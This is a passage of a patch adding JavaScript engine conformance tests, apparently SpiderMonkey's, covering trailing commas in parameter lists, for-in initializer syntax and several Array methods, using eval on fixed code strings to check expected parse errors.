+// ( Expression[In, ?Yield] , ...BindingIdentifier[?Yield] )
+
+
+function arrow(argList, parameters = "", returnExpr = "") {
+ return eval(`
+ let fun = (${argList}) => {
+ return ${returnExpr};
+ }
+ fun(${parameters});
+ `);
+}
+
+function arrowConcise(argList, parameters = "", returnExpr = "null") {
+ return eval(`
+ let fun = (${argList}) => ${returnExpr};
+ fun(${parameters});
+ `);
+}
+
+const tests = [
+ arrow,
+ arrowConcise,
+];
+
+// Ensure parameters are passed correctly.
+for (let test of tests) {
+ assertEq(test("a, ", "10", "a"), 10);
+ assertEq(test("a, b, ", "10, 20", "a + b"), 30);
+ assertEq(test("a = 30, ", "", "a"), 30);
+ assertEq(test("a = 30, b = 40, ", "", "a + b"), 70);
+
+ assertEq(test("[a], ", "[10]", "a"), 10);
+ assertEq(test("[a], [b], ", "[10], [20]", "a + b"), 30);
+ assertEq(test("[a] = [30], ", "", "a"), 30);
+ assertEq(test("[a] = [30], [b] = [40], ", "", "a + b"), 70);
+
+ assertEq(test("{a}, ", "{a: 10}", "a"), 10);
+ assertEq(test("{a}, {b}, ", "{a: 10}, {b: 20}", "a + b"), 30);
+ assertEq(test("{a} = {a: 30}, ", "", "a"), 30);
+ assertEq(test("{a} = {a: 30}, {b} = {b: 40}, ", "", "a + b"), 70);
+}
+
+// Ensure function length doesn't change.
+for (let test of tests) {
+ assertEq(test("a, ", "", "fun.length"), 1);
+ assertEq(test("a, b, ", "", "fun.length"), 2);
+
+ assertEq(test("[a], ", "[]", "fun.length"), 1);
+ assertEq(test("[a], [b], ", "[], []", "fun.length"), 2);
+
+ assertEq(test("{a}, ", "{}", "fun.length"), 1);
+ assertEq(test("{a}, {b}, ", "{}, {}", "fun.length"), 2);
+}
+
+for (let test of tests) {
+ // Trailing comma in empty parameters list.
+ assertThrowsInstanceOf(() => test(","), SyntaxError);
+
+ // Leading comma.
+ assertThrowsInstanceOf(() => test(", a"), SyntaxError);
+ assertThrowsInstanceOf(() => test(", ...a"), SyntaxError);
+
+ // Multiple trailing comma.
+ assertThrowsInstanceOf(() => test("a, , "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a..., , "), SyntaxError);
+
+ // Trailing comma after rest parameter.
+ assertThrowsInstanceOf(() => test("...a, "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a, ...b, "), SyntaxError);
+
+ // Elision.
+ assertThrowsInstanceOf(() => test("a, , b"), SyntaxError);
+}
+
+// Trailing comma in non-parenthesized arrow head.
+assertThrowsInstanceOf(() => eval("a, => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("a, => null"), SyntaxError);
+
+// Parenthesized expression is not an arrow function expression.
+for (let trail of ["", ";", "\n => {}"]) {
+ assertThrowsInstanceOf(() => eval("(a,)" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(a, b,)" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(...a, )" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(a, ...b, )" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(a, , b)" + trail), SyntaxError);
+
+ assertThrowsInstanceOf(() => eval("(,)" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(, a)" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(, ...a)" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(a, , )" + trail), SyntaxError);
+ assertThrowsInstanceOf(() => eval("(...a, , )" + trail), SyntaxError);
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_2017/Expressions/trailing_comma_getter_setter.js b/js/src/tests/ecma_2017/Expressions/trailing_comma_getter_setter.js
new file mode 100644
index 000000000..258dd8df6
--- /dev/null
+++ b/js/src/tests/ecma_2017/Expressions/trailing_comma_getter_setter.js
@@ -0,0 +1,88 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Trailing comma is not allowed in getter and setter methods
+
+// 14.3 Method Definitions
+// MethodDefinition[Yield]:
+// get PropertyName[?Yield] () { FunctionBody[~Yield] }
+// set PropertyName[?Yield] ( PropertySetParameterList ) { FunctionBody[~Yield] }
+// PropertySetParameterList:
+// FormalParameter[~Yield]
+
+function objectGetter(argList) {
+ return eval(`({
+ get m(${argList}) {}
+ })`);
+}
+
+function objectSetter(argList) {
+ return eval(`({
+ set m(${argList}) {}
+ })`);
+}
+
+function classGetter(argList) {
+ return eval(`(class {
+ get m(${argList}) {}
+ })`);
+}
+
+function classStaticGetter(argList) {
+ return eval(`(class {
+ static get m(${argList}) {}
+ })`);
+}
+
+function classSetter(argList) {
+ return eval(`(class {
+ set m(${argList}) {}
+ })`);
+}
+
+function classStaticSetter(argList) {
+ return eval(`(class {
+ static set m(${argList}) {}
+ })`);
+}
+
+const tests = [
+ objectGetter,
+ objectSetter,
+ classGetter,
+ classStaticGetter,
+ classSetter,
+ classStaticSetter,
+];
+
+for (let test of tests) {
+ // Trailing comma.
+ assertThrowsInstanceOf(() => test("a, "), SyntaxError);
+ assertThrowsInstanceOf(() => test("[], "), SyntaxError);
+ assertThrowsInstanceOf(() => test("{}, "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a = 0, "), SyntaxError);
+ assertThrowsInstanceOf(() => test("[] = [], "), SyntaxError);
+ assertThrowsInstanceOf(() => test("{} = {}, "), SyntaxError);
+
+ // Trailing comma in empty parameters list.
+ assertThrowsInstanceOf(() => test(","), SyntaxError);
+
+ // Leading comma.
+ assertThrowsInstanceOf(() => test(", a"), SyntaxError);
+ assertThrowsInstanceOf(() => test(", ...a"), SyntaxError);
+
+ // Multiple trailing comma.
+ assertThrowsInstanceOf(() => test("a, ,"), SyntaxError);
+ assertThrowsInstanceOf(() => test("a..., ,"), SyntaxError);
+
+ // Trailing comma after rest parameter.
+ assertThrowsInstanceOf(() => test("...a ,"), SyntaxError);
+ assertThrowsInstanceOf(() => test("a, ...b, "), SyntaxError);
+
+ // Elision.
+ assertThrowsInstanceOf(() => test("a, , b"), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_2017/Expressions/trailing_comma_parameters.js b/js/src/tests/ecma_2017/Expressions/trailing_comma_parameters.js
new file mode 100644
index 000000000..d0e756b86
--- /dev/null
+++ b/js/src/tests/ecma_2017/Expressions/trailing_comma_parameters.js
@@ -0,0 +1,165 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Trailing comma in functions and methods.
+
+// 14.1 Function Definitions
+// FunctionExpression:
+// function BindingIdentifier[~Yield]opt ( FormalParameters[~Yield] ) { FunctionBody[~Yield] }
+
+// 14.3 Method Definitions
+// MethodDefinition[Yield]:
+// PropertyName[?Yield] ( UniqueFormalParameters[~Yield] ) { FunctionBody[~Yield] }
+// GeneratorMethod[?Yield]
+// PropertySetParameterList:
+// FormalParameter[~Yield]
+
+// 14.4 Generator Function Definitions
+// GeneratorExpression:
+// function * BindingIdentifier[+Yield]opt ( FormalParameters[+Yield] ) { GeneratorBody }
+// GeneratorMethod[Yield]:
+// * PropertyName[?Yield] ( UniqueFormalParameters[+Yield] ) { GeneratorBody }
+
+
+function functionExpression(argList, parameters = "", returnExpr = "") {
+ return eval(`(function f(${argList}) {
+ var fun = f;
+ return ${returnExpr};
+ })(${parameters})`);
+}
+
+function generatorExpression(argList, parameters = "", returnExpr = "") {
+ return eval(`(function* f(${argList}) {
+ var fun = f;
+ return ${returnExpr};
+ })(${parameters}).next().value`);
+}
+
+function objectMethod(argList, parameters = "", returnExpr = "") {
+ return eval(`({
+ m(${argList}) {
+ var fun = this.m;
+ return ${returnExpr};
+ }
+ }).m(${parameters})`);
+}
+
+function objectGeneratorMethod(argList, parameters = "", returnExpr = "") {
+ return eval(`({
+ * m(${argList}) {
+ var fun = this.m;
+ return ${returnExpr};
+ }
+ }).m(${parameters}).next().value`);
+}
+
+function classMethod(argList, parameters = "", returnExpr = "") {
+ return eval(`(new class {
+ m(${argList}) {
+ var fun = this.m;
+ return ${returnExpr};
+ }
+ }).m(${parameters})`);
+}
+
+function classStaticMethod(argList, parameters = "", returnExpr = "") {
+ return eval(`(class {
+ static m(${argList}) {
+ var fun = this.m;
+ return ${returnExpr};
+ }
+ }).m(${parameters})`);
+}
+
+function classGeneratorMethod(argList, parameters = "", returnExpr = "") {
+ return eval(`(new class {
+ * m(${argList}) {
+ var fun = this.m;
+ return ${returnExpr};
+ }
+ }).m(${parameters}).next().value`);
+}
+
+function classStaticGeneratorMethod(argList, parameters = "", returnExpr = "") {
+ return eval(`(class {
+ static * m(${argList}) {
+ var fun = this.m;
+ return ${returnExpr};
+ }
+ }).m(${parameters}).next().value`);
+}
+
+function classConstructorMethod(argList, parameters = "", returnExpr = "null") {
+ return eval(`new (class {
+ constructor(${argList}) {
+ var fun = this.constructor;
+ return { value: ${returnExpr} };
+ }
+ })(${parameters}).value`);
+}
+
+const tests = [
+ functionExpression,
+ generatorExpression,
+ objectMethod,
+ objectGeneratorMethod,
+ classMethod,
+ classStaticMethod,
+ classGeneratorMethod,
+ classStaticGeneratorMethod,
+ classConstructorMethod,
+];
+
+// Ensure parameters are passed correctly.
+for (let test of tests) {
+ assertEq(test("a, ", "10", "a"), 10);
+ assertEq(test("a, b, ", "10, 20", "a + b"), 30);
+ assertEq(test("a = 30, ", "", "a"), 30);
+ assertEq(test("a = 30, b = 40, ", "", "a + b"), 70);
+
+ assertEq(test("[a], ", "[10]", "a"), 10);
+ assertEq(test("[a], [b], ", "[10], [20]", "a + b"), 30);
+ assertEq(test("[a] = [30], ", "", "a"), 30);
+ assertEq(test("[a] = [30], [b] = [40], ", "", "a + b"), 70);
+
+ assertEq(test("{a}, ", "{a: 10}", "a"), 10);
+ assertEq(test("{a}, {b}, ", "{a: 10}, {b: 20}", "a + b"), 30);
+ assertEq(test("{a} = {a: 30}, ", "", "a"), 30);
+ assertEq(test("{a} = {a: 30}, {b} = {b: 40}, ", "", "a + b"), 70);
+}
+
+// Ensure function length doesn't change.
+for (let test of tests) {
+ assertEq(test("a, ", "", "fun.length"), 1);
+ assertEq(test("a, b, ", "", "fun.length"), 2);
+
+ assertEq(test("[a], ", "[]", "fun.length"), 1);
+ assertEq(test("[a], [b], ", "[], []", "fun.length"), 2);
+
+ assertEq(test("{a}, ", "{}", "fun.length"), 1);
+ assertEq(test("{a}, {b}, ", "{}, {}", "fun.length"), 2);
+}
+
+for (let test of tests) {
+ // Trailing comma in empty parameters list.
+ assertThrowsInstanceOf(() => test(","), SyntaxError);
+
+ // Leading comma.
+ assertThrowsInstanceOf(() => test(", a"), SyntaxError);
+ assertThrowsInstanceOf(() => test(", ...a"), SyntaxError);
+
+ // Multiple trailing comma.
+ assertThrowsInstanceOf(() => test("a, , "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a..., , "), SyntaxError);
+
+ // Trailing comma after rest parameter.
+ assertThrowsInstanceOf(() => test("...a, "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a, ...b, "), SyntaxError);
+
+ // Elision.
+ assertThrowsInstanceOf(() => test("a, , b"), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_2017/Statements/browser.js b/js/src/tests/ecma_2017/Statements/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2017/Statements/browser.js
diff --git a/js/src/tests/ecma_2017/Statements/for-in-with-assignment-semantics.js b/js/src/tests/ecma_2017/Statements/for-in-with-assignment-semantics.js
new file mode 100644
index 000000000..f1dbb3438
--- /dev/null
+++ b/js/src/tests/ecma_2017/Statements/for-in-with-assignment-semantics.js
@@ -0,0 +1,46 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const unreachable = () => { throw "unreachable"; };
+
+// var-initializer expression is executed before for-in expression.
+var log = "";
+for (var x = (log += "head") in (log += "|expr", null)) unreachable();
+assertEq(log, "head|expr");
+
+log = "";
+for (var x = (log += "head") in (log += "|expr", {})) unreachable();
+assertEq(log, "head|expr");
+
+
+// for-in expression isn't executed when var-initializer throws exception.
+function ExpectedError() {}
+assertThrowsInstanceOf(() => {
+ var throwErr = () => { throw new ExpectedError(); };
+ for (var x = throwErr() in unreachable()) unreachable();
+}, ExpectedError);
+
+
+// Ensure environment operations are performed correctly.
+var scope = new Proxy({x: 0}, new Proxy({}, {
+ get(t, pk, r) {
+ log += pk + "|";
+ }
+}));
+
+log = "";
+with (scope) {
+ for (var x = 0 in {}) ;
+}
+assertEq(log, "has|get|set|getOwnPropertyDescriptor|defineProperty|");
+
+log = "";
+with (scope) {
+ for (var x = 0 in {p: 0}) ;
+}
+assertEq(log, "has|get|set|getOwnPropertyDescriptor|defineProperty|".repeat(2));
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_2017/Statements/for-in-with-assignment-syntax.js b/js/src/tests/ecma_2017/Statements/for-in-with-assignment-syntax.js
new file mode 100644
index 000000000..4ac711e21
--- /dev/null
+++ b/js/src/tests/ecma_2017/Statements/for-in-with-assignment-syntax.js
@@ -0,0 +1,68 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const validSyntax = [
+ "var x",
+];
+
+const destructuring = [
+ "[]",
+ "[,]",
+ "[a]",
+ "[a = 0]",
+ "[...a]",
+ "[...[]]",
+ "[...[a]]",
+ "{}",
+ "{p: x}",
+ "{p: x = 0}",
+ "{x}",
+ "{x = 0}",
+];
+
+const invalidSyntax = [
+ ...destructuring.map(binding => `var ${binding}`),
+ "let x",
+ ...destructuring.map(binding => `let ${binding}`),
+ "const x",
+ ...destructuring.map(binding => `const ${binding}`),
+ "x",
+ ...destructuring.map(binding => `${binding}`),
+ "o.p",
+ "o[0]",
+ "f()",
+];
+
+for (let valid of validSyntax) {
+ eval(`for (${valid} = 0 in {});`);
+ assertThrowsInstanceOf(() => eval(`"use strict"; for (${valid} = 0 in {});`),
+ SyntaxError);
+}
+
+for (let invalid of invalidSyntax) {
+ assertThrowsInstanceOf(() => eval(`for (${invalid} = 0 in {});`), SyntaxError);
+}
+
+// Invalid syntax, needs method context to parse.
+assertThrowsInstanceOf(() => eval(`({ m() { for (super.p = 0 in {}); } })`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`({ m() { for (super[0] = 0 in {}); } })`), SyntaxError);
+
+// Throws ReferenceError instead of SyntaxError, because we intermingle parsing
+// and early error checking.
+assertThrowsInstanceOf(() => eval(`for (0 = 0 in {});`), ReferenceError);
+assertThrowsInstanceOf(() => eval(`for (i++ = 0 in {});`), ReferenceError);
+assertThrowsInstanceOf(() => eval(`for (new F() = 0 in {});`), ReferenceError);
+assertThrowsInstanceOf(() => eval(`function f() { for (new.target = 0 in {}); }`), ReferenceError);
+assertThrowsInstanceOf(() => eval(`class C extends D { constructor() { for (super() = 0 in {}); } }`), ReferenceError);
+
+// Same as above, only this time don't make it look like we actually parse a for-in statement.
+assertThrowsInstanceOf(() => eval(`for (0 = 0 #####`), ReferenceError);
+assertThrowsInstanceOf(() => eval(`for (i++ = 0 #####`), ReferenceError);
+assertThrowsInstanceOf(() => eval(`for (new F() = 0 #####`), ReferenceError);
+assertThrowsInstanceOf(() => eval(`function f() { for (new.target = 0 #####`), ReferenceError);
+assertThrowsInstanceOf(() => eval(`class C extends D { constructor() { for (super() = 0 #####`), ReferenceError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_2017/Statements/for-in-with-assignments.js b/js/src/tests/ecma_2017/Statements/for-in-with-assignments.js
new file mode 100644
index 000000000..9a9782ee4
--- /dev/null
+++ b/js/src/tests/ecma_2017/Statements/for-in-with-assignments.js
@@ -0,0 +1,82 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-in-with-assignments.js";
+var BUGNUMBER = 1164741;
+var summary = "Parse |for (var ... = ... in ...)|."
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// This is a total grab-bag of junk originally in tests changed when this
+// syntax was removed. Leaving it all in one file will make it easier to
+// eventually remove. Avert your eyes!
+// TC39 has revived this syntax for ES2017 - "What is dead may never die."
+
+if (typeof Reflect !== "undefined" && Reflect.parse)
+ Reflect.parse("for (var x = 3 in []) { }");
+
+/******************************************************************************/
+
+function testQ() {
+ try {
+ for (var i = 0 in this) throw p;
+ } catch (e) {
+ if (i !== 94)
+ return "what";
+ }
+}
+testQ();
+
+/******************************************************************************/
+
+function f3(i,o){for(var x=i in o)parseInt(o[x]); return x}
+function f4(i,o){with(this)for(var x=i in o)parseInt(o[x]); return x}
+
+assertEq(f3(42, []), 42);
+assertEq(f3(42, ['first']), "0");
+assertEq(f4(42, []), 42);
+assertEq(f4(42, ['first']), "0");
+
+/******************************************************************************/
+
+function SetLangHead(l){
+ with(p){
+ for(var i=0 in x)
+ if(getElementById("TxtH"+i)!=undefined)
+ parseInt('huh');
+ }
+}
+x=[0,1,2,3];
+p={getElementById: function (id){parseInt(uneval(this), id); return undefined;}};
+SetLangHead(1);
+
+/******************************************************************************/
+
+(function(){for(var x = arguments in []){} function x(){}})();
+
+/******************************************************************************/
+
+with (0)
+ for (var b = 0 in 0); // don't assert in parser
+
+/******************************************************************************/
+
+function* g1() {
+ for (var x = yield in {}) ;
+}
+var it = g1();
+assertEq(it.next().done, false);
+assertEq(it.next().done, true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_2017/Statements/shell.js b/js/src/tests/ecma_2017/Statements/shell.js
new file mode 100644
index 000000000..8b1378917
--- /dev/null
+++ b/js/src/tests/ecma_2017/Statements/shell.js
@@ -0,0 +1 @@
+
diff --git a/js/src/tests/ecma_2017/Statements/trailing_comma_parameters.js b/js/src/tests/ecma_2017/Statements/trailing_comma_parameters.js
new file mode 100644
index 000000000..8612f7b1b
--- /dev/null
+++ b/js/src/tests/ecma_2017/Statements/trailing_comma_parameters.js
@@ -0,0 +1,92 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Trailing comma in functions and generators.
+
+// 14.1 Function Definitions
+// FunctionDeclaration[Yield, Default]:
+// function BindingIdentifier[?Yield] ( FormalParameters[~Yield] ) { FunctionBody[~Yield] }
+
+// 14.4 Generator Function Definitions
+// GeneratorDeclaration[Yield, Default]:
+// function * BindingIdentifier[?Yield] ( FormalParameters[+Yield] ) { GeneratorBody }
+
+
+function functionDeclaration(argList, parameters = "", returnExpr = "") {
+ return eval(`
+ function f(${argList}) {
+ var fun = f;
+ return ${returnExpr};
+ }
+ f(${parameters});
+ `);
+}
+
+function generatorDeclaration(argList, parameters = "", returnExpr = "") {
+ return eval(`
+ function* f(${argList}) {
+ var fun = f;
+ return ${returnExpr};
+ }
+ f(${parameters}).next().value;
+ `);
+}
+
+const tests = [
+ functionDeclaration,
+ generatorDeclaration,
+];
+
+// Ensure parameters are passed correctly.
+for (let test of tests) {
+ assertEq(test("a, ", "10", "a"), 10);
+ assertEq(test("a, b, ", "10, 20", "a + b"), 30);
+ assertEq(test("a = 30, ", "", "a"), 30);
+ assertEq(test("a = 30, b = 40, ", "", "a + b"), 70);
+
+ assertEq(test("[a], ", "[10]", "a"), 10);
+ assertEq(test("[a], [b], ", "[10], [20]", "a + b"), 30);
+ assertEq(test("[a] = [30], ", "", "a"), 30);
+ assertEq(test("[a] = [30], [b] = [40], ", "", "a + b"), 70);
+
+ assertEq(test("{a}, ", "{a: 10}", "a"), 10);
+ assertEq(test("{a}, {b}, ", "{a: 10}, {b: 20}", "a + b"), 30);
+ assertEq(test("{a} = {a: 30}, ", "", "a"), 30);
+ assertEq(test("{a} = {a: 30}, {b} = {b: 40}, ", "", "a + b"), 70);
+}
+
+// Ensure function length doesn't change.
+for (let test of tests) {
+ assertEq(test("a, ", "", "fun.length"), 1);
+ assertEq(test("a, b, ", "", "fun.length"), 2);
+
+ assertEq(test("[a], ", "[]", "fun.length"), 1);
+ assertEq(test("[a], [b], ", "[], []", "fun.length"), 2);
+
+ assertEq(test("{a}, ", "{}", "fun.length"), 1);
+ assertEq(test("{a}, {b}, ", "{}, {}", "fun.length"), 2);
+}
+
+for (let test of tests) {
+ // Trailing comma in empty parameters list.
+ assertThrowsInstanceOf(() => test(","), SyntaxError);
+
+ // Leading comma.
+ assertThrowsInstanceOf(() => test(", a"), SyntaxError);
+ assertThrowsInstanceOf(() => test(", ...a"), SyntaxError);
+
+ // Multiple trailing comma.
+ assertThrowsInstanceOf(() => test("a, , "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a..., , "), SyntaxError);
+
+ // Trailing comma after rest parameter.
+ assertThrowsInstanceOf(() => test("...a, "), SyntaxError);
+ assertThrowsInstanceOf(() => test("a, ...b, "), SyntaxError);
+
+ // Elision.
+ assertThrowsInstanceOf(() => test("a, , b"), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_2017/browser.js b/js/src/tests/ecma_2017/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2017/browser.js
diff --git a/js/src/tests/ecma_2017/shell.js b/js/src/tests/ecma_2017/shell.js
new file mode 100644
index 000000000..8b1378917
--- /dev/null
+++ b/js/src/tests/ecma_2017/shell.js
@@ -0,0 +1 @@
+
diff --git a/js/src/tests/ecma_3/Array/15.4.4.11-01.js b/js/src/tests/ecma_3/Array/15.4.4.11-01.js
new file mode 100644
index 000000000..d92ad5fce
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/15.4.4.11-01.js
@@ -0,0 +1,28 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 312138;
+var summary = 'Array.sort should not eat exceptions';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = "e=1 N=1";
+
+var N = 0;
+var array = [4,3,2,1];
+
+try {
+ array.sort(function() {
+ throw ++N;
+ });
+} catch (e) {
+ actual = ("e="+e+" N="+N);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/Array/15.4.4.3-1.js b/js/src/tests/ecma_3/Array/15.4.4.3-1.js
new file mode 100644
index 000000000..f42834310
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/15.4.4.3-1.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 12 Mar 2001
+ *
+ *
+ * SUMMARY: Testing Array.prototype.toLocaleString()
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=56883
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=58031
+ *
+ * By ECMA3 15.4.4.3, myArray.toLocaleString() means that toLocaleString()
+ * should be applied to each element of the array, and the results should be
+ * concatenated with an implementation-specific delimiter. For example:
+ *
+ * myArray[0].toLocaleString() + ',' + myArray[1].toLocaleString() + etc.
+ *
+ * In this testcase toLocaleString is a user-defined property of each
+ * array element; therefore it is the function that should be
+ * invoked. This function increments a global variable. Therefore the
+ * end value of this variable should be myArray.length.
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 56883;
+var summary = 'Testing Array.prototype.toLocaleString() -';
+var actual = '';
+var expect = '';
+var n = 0;
+var obj = {toLocaleString: function() {n++}};
+var myArray = [obj, obj, obj];
+
+
+myArray.toLocaleString();
+actual = n;
+expect = 3; // (see explanation above)
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Array/15.4.4.4-001.js b/js/src/tests/ecma_3/Array/15.4.4.4-001.js
new file mode 100644
index 000000000..602624951
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/15.4.4.4-001.js
@@ -0,0 +1,119 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 September 2002
+ * SUMMARY: Testing Array.prototype.concat()
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=169795
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 169795;
+var summary = 'Testing Array.prototype.concat()';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var x;
+
+
+status = inSection(1);
+x = "Hello";
+actual = [].concat(x).toString();
+expect = x.toString();
+addThis();
+
+status = inSection(2);
+x = 999;
+actual = [].concat(x).toString();
+expect = x.toString();
+addThis();
+
+status = inSection(3);
+x = /Hello/g;
+actual = [].concat(x).toString();
+expect = x.toString();
+addThis();
+
+status = inSection(4);
+x = new Error("Hello");
+actual = [].concat(x).toString();
+expect = x.toString();
+addThis();
+
+status = inSection(5);
+x = function() {return "Hello";};
+actual = [].concat(x).toString();
+expect = x.toString();
+addThis();
+
+status = inSection(6);
+x = [function() {return "Hello";}];
+actual = [].concat(x).toString();
+expect = x.toString();
+addThis();
+
+status = inSection(7);
+x = [1,2,3].concat([4,5,6]);
+actual = [].concat(x).toString();
+expect = x.toString();
+addThis();
+
+status = inSection(8);
+x = eval('this');
+actual = [].concat(x).toString();
+expect = x.toString();
+addThis();
+
+/*
+ * The next two sections are by igor@icesoft.no; see
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=169795#c3
+ */
+status = inSection(9);
+x={length:0};
+actual = [].concat(x).toString();
+expect = x.toString();
+addThis();
+
+status = inSection(10);
+x={length:2, 0:0, 1:1};
+actual = [].concat(x).toString();
+expect = x.toString();
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Array/15.4.5.1-01.js b/js/src/tests/ecma_3/Array/15.4.5.1-01.js
new file mode 100644
index 000000000..96acdef63
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/15.4.5.1-01.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "(none)";
+var summary = '15.4.5.1 - array.length coverage';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var a = [];
+
+ expect = 'RangeError: invalid array length';
+ actual = '';
+ try
+ {
+ a.length = -1;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ actual = '';
+ try
+ {
+ a.length = 12345678901234567890;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ actual = '';
+ try
+ {
+ a.length = 'a';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Array/15.5.4.8-01.js b/js/src/tests/ecma_3/Array/15.5.4.8-01.js
new file mode 100644
index 000000000..9901a556e
--- /dev/null
+++ b/js/src/tests/ecma_3/Array/15.5.4.8-01.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 480096;
+var summary = 'Array.lastIndexOf';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
